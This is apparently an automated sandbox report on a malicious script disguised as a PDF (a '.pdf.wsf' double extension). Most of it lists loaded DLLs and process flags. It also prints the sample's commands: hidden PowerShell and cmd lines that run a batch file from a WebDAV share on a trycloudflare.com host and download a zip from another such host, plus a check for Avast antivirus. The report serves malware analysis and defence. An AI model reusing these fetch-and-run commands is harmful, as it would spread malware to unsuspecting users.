Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll			Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll			Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: pdb.Pdb.__init__(self, stdout=out, nosigint=True) source: doctest.py.34.dr
Source:	Binary string: <p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor has a new optional <em>readrc</em> argument source: 3.6.html.34.dr
Source:	Binary string: return pdb.Pdb.trace_dispatch(self, *args) source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb.set_trace(self, frame) source: doctest.py.34.dr
Source:	Binary string: class _OutputRedirectingPdb(pdb.Pdb): source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb(nosigint=True).run("exec(%r)" % src, globs, globs) source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb.set_continue(self) source: doctest.py.34.dr
Source:	Binary string: p = pdb.Pdb(nosigint=True) source: doctest.py.34.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#module-pdb" title="pdb: The Python debugger for interactive interpreters."><code class="xref py py-mod docutils literal notranslate"><span class="pre">pdb</span></code></a> module now reads the <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> configuration file with source: 3.11.html.34.dr
Source:	Binary string: to control whether <code class="docutils literal notranslate"><span class="pre">.pdbrc</span></code> files should be read.</p> source: 3.6.html.34.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavW", "0", "false");

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior

Source: Possible double extension: pdf.wsf

Static PE information: RE_00834473899387474.pdf.wsf

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
